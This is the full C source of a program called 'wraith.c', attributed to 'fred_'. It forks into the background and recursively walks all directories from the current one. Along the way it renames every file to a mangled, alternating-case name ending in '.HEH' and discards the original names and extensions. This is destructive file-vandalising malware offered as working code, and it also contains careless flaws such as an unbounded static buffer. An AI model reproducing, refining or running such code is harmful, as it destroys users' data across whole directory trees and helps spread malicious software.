/* wraith.c coded by fred_ */

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>
#include <unistd.h>

char *
c_file (char *filename)
{
  int x, i;
  static char buffer[256];

  if (strstr (filename, ".") != NULL)
    {
      for (x = 0; filename[x]; x++)
	{
	  if (filename[x] == '.')
	    break;

	  buffer[x] = filename[x];
	}
      buffer[x] = 0;
    }
  else
    strcpy ((char *) buffer, filename);

  for (x = 0, i = 1; buffer[x]; x++)
    {
      if (i == 1)
	{
	  buffer[x] = toupper (buffer[x]);
	  i = 2;
	}
      else if (i == 2)
	{
	  buffer[x] = tolower (buffer[x]);
	  i = 1;
	}
      else
	buffer[x] = buffer[x];
    }

  x = strlen (buffer);

  buffer[x] = '.';
  buffer[x + 1] = 'H';
  buffer[x + 2] = 'E';
  buffer[x + 3] = 'H';

  return buffer;
}

int
isDir (char *name)
{
  int ret;
  struct stat *status;
  struct stat s[1];

  status = s;

  ret = lstat (name, s);
  if (ret == -1)
    return 0;

  return S_ISDIR (status->st_mode);
}

int
main (int argc, char *argv[])
{
  char *exec;

  if ((exec = (char *) malloc (256)) == NULL)
    {
      printf ("Not enough memory\n");
      exit (1);
    }

  printf ("starting wraith from the current working directory\n");

#ifndef DEBUG
  printf ("launching into the background..\n");
  if (fork ())
    exit (1);
#endif

  if (strstr (argv[0], "/") != NULL)
    {
      exec = strrchr (argv[0], '/');
      memmove (exec, exec + 1, strlen (exec));
    }
  else
    strcpy (exec, argv[0]);

  modify_dir (".", exec);
}

int
modify_dir (char *directory, char *exec)
{
  char *buffer, *newfile;
  struct dirent *files;
  DIR *dp;

  if ((buffer = (char *) malloc (256)) == NULL ||
      (newfile = (char *) malloc (256)) == NULL)
    {
      printf ("Not enough memory.\n");
      exit (1);
    }

  dp = opendir (directory);
  while (1)
    {
      bzero (buffer, 256);
      bzero (newfile, 256);
      if ((files = readdir (dp)) == NULL)
	break;

      if (!strcmp (files->d_name, ".") || !strcmp (files->d_name, ".."))
	continue;

      strncpy (buffer, files->d_name, 256);

      if (!strcmp (exec, buffer))
	continue;

      if (isDir (buffer) == 1)
	{
#ifdef DEBUG
	  printf ("Changing to directory: %s\n", buffer);
#endif
	  if (chdir (buffer) == 0)
	    {
	      modify_dir (".", exec);

#ifdef DEBUG
	      printf ("Changing to parent directory\n");
#endif
	      if (chdir ("..") == -1)
		exit (1);
	    }
	  else
	    continue;
	}

      newfile = c_file (buffer);

      if (strlen (newfile) > 0)
	{
#ifdef DEBUG
	  printf ("Modified %s to %s\n", buffer, newfile);
#endif
	  if (rename (buffer, newfile) == -1)
	    continue;
	}
    }

  closedir (dp);
}